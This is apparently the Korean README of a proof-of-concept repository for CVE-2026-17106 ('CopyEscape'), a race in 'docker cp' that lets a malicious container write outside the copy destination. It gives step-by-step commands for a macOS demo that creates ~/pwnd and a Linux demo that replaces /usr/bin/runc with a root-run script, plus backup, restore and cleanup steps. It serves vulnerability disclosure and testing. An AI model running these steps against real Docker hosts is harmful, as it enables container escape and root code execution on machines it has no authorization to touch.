
CopyEscape: docker cp로 Docker 호스트 장악하기 블로그 게시물의 PoC 저장소
docker cp로 Docker 호스트 장악하기 (CVE-2026-17106)이 저장소는 블로그 게시물 CopyEscape: docker cp로 Docker 호스트 장악하기 — CVE-2026-17106에 대한 개념 증명(PoC) 저장소입니다.
CopyEscape를 사용하면 악성 실행 컨테이너가 Docker의 아카이브 생성 프로세스와 경쟁하여 일관되지 않은 tar 스트림을 만들 수 있습니다. 취약한 Docker CLI는 추출 중에 심어진 심볼릭 링크를 따라가 docker cp를 실행하는 사용자가 선택한 로컬 대상 밖에 파일을 쓸 수 있습니다.
저장소에는 두 가지 데모가 포함되어 있습니다:
macos/는 macOS 호스트에 ~/pwnd를 생성하는 비파괴적 Docker Desktop 데모를 포함합니다.linux/는 /usr/bin/runc를 덮어쓰고 교체된 런타임이 실행될 때 /imperva_red_team을 생성하는 원본 고영향 Linux 데모를 포함합니다.[!WARNING] 이 PoC는 소유한 시스템 또는 명시적으로 테스트 승인을 받은 시스템에서만 실행하세요. Linux PoC는 의도적으로
/usr/bin/runc를 교체하므로, 일회용 VM을 사용하고 트리거하기 전에 검증된 백업을 만드세요.
/usr/bin/runc 데모를 위한 루트 권한.PoC는 Docker Engine/CLI 29.6.1 및 Docker Desktop 4.81.0을 대상으로 개발 및 테스트되었습니다. 수정된 버전은 악성 아카이브를 거부하거나 선택한 대상 외부에 쓰지 않고 복사를 완료해야 합니다.
~/pwnd 생성이 데모는 Docker CLI를 실행하는 사용자의 홈 디렉터리를 대상으로 합니다. ~/pwnd 또는 로컬 대상 file.txt가 이미 존재하면 계속 진행하지 않습니다.
실행:
cd macos
./demo-macos.sh
실행 스크립트는 이미지를 빌드하고, 준비된 컨테이너를 시작하며, 컨테이너 내부에서 /watched/file.txt가 일반 파일로 보이는지 확인한 후 다음을 트리거합니다:
docker cp <demo-container>:/watched/file.txt ./file.txt
취약한 Docker Desktop 버전에서는 복사가 다음을 생성합니다:
~/pwnd
다음 내용을 포함합니다:
COPYESCAPE_MACOS_DEMO
정리:
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local
/usr/bin/runc 덮어쓰기[!CAUTION] 이 데모는 Docker 호스트의 런타임을 일시적으로 사용할 수 없게 만들고 공격자가 제어하는 교체 파일을 루트로 실행합니다. 일회용 VM을 사용하세요.
docker cp가 반환된 후 다른 Docker 명령을 실행하기 전에runc를 복원하세요.
루트 셸을 열고 Linux PoC 디렉터리로 이동합니다:
sudo -s
cd linux
테스트를 시작하기 전에 백업을 만들고 검증합니다:
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup
이미지 빌드:
docker build -t copyescape-linux .
첫 번째 터미널에서 준비된 컨테이너를 시작합니다:
docker run --name copyescape-linux copyescape-linux
두 번째 루트 터미널에서 준비된 경로가 컨테이너 내부 프로세스에 일반 파일처럼 보이는지 확인합니다:
docker exec copyescape-linux cat /watched/file.txt
예상 출력:
top-level file
취약점 트리거:
docker cp copyescape-linux:/watched/file.txt ./file.txt
취약한 Docker 버전에서는 이제 /usr/bin/runc에 PoC 셸 스크립트가 포함됩니다. 교체된 런타임을 실행하면 루트 소유의 마커가 생성됩니다:
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team
다른 Docker 명령을 실행하기 전에 즉시 원래 런타임을 복원합니다:
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version
runc가 복원되고 검증된 후 나머지 테스트 산출물을 제거합니다:
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team
두 PoC 모두 컨테이너에서 실행되는 프로세스에는 /watched/file.txt를 일반 파일로 노출하는 동시에 Docker 데몬에는 기본 디렉터리로 보이게 합니다. Docker의 파일 시스템 순회 중에 모니터가 디렉터리를 준비된 절대 경로 심볼릭 링크로 교체합니다. 결과 tar 스트림에는 심볼릭 링크와 그 아래의 하위 항목이 포함됩니다. 취약한 Docker CLI는 심볼릭 링크를 생성한 다음 이를 통해 하위 항목을 클라이언트 파일 시스템에 추출합니다.
최종 쓰기는 docker cp를 실행하는 프로세스의 권한을 따릅니다.